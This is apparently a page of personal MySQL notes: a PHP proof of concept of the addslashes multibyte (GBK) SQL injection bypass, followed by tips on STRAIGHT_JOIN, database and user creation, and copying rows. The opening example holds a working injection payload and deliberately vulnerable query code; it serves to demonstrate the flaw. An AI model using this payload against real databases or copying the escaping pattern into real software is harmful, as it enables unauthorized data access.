Category: MySQL

Example of addslashes Multibyte SQL injection

CREATE TABLE users (
    username VARCHAR(32) CHARACTER SET GBK,
    password VARCHAR(32) CHARACTER SET GBK,
    PRIMARY KEY (username)
);
$db = mysqli_init();
$db->real_connect('localhost', 'username', 'password', 'database');
$db->query('SET NAMES gbk');

$_POST['username'] = chr(0x87)."' OR username = username -- ";
$username = addslashes($_POST['username']);
$sql = "SELECT *
        FROM users
        WHERE username = '{$username}'";
$res = $db->query($sql);

if ($res->num_rows) {
    echo 'success';
} else {
    echo 'fail';
}

STRAIGHT_JOIN

When using JOIN query, sometimes MySQL’s JOIN optimizer would process the tables in a suboptimal order. STRAIGHT_JOIN can be used to resolve this problem. When using STRAIGHT_JOIN, the left table is always read before the right table.

MySQL Commands

Create Database

CREATE DATABASE mydatabase CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci;

If failed, use this instead:

CREATE DATABASE mydatabase CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

Create User

CREATE USER '[USERNAME]'@'localhost' IDENTIFIED BY '[PASSWORD]';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, LOCK TABLES ON `[DATABASE]`.* TO '[USERNAME]'@'localhost';
CREATE USER '[USERNAME]'@'%' IDENTIFIED BY '[PASSWORD]';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER, LOCK TABLES ON `[DATABASE]`.* TO '[USERNAME]'@'%';

Copy MySQL row with new id

CREATE TEMPORARY TABLE tmp SELECT * from my_table WHERE …;
ALTER TABLE tmp drop pk_id; # drop autoincrement field
INSERT INTO my_table SELECT 0,tmp.* FROM tmp;
DROP TEMPORARY TABLE tmp;

Reference: https://stackoverflow.com/questions/11331573/copy-row-but-with-new-id/11331672#11331672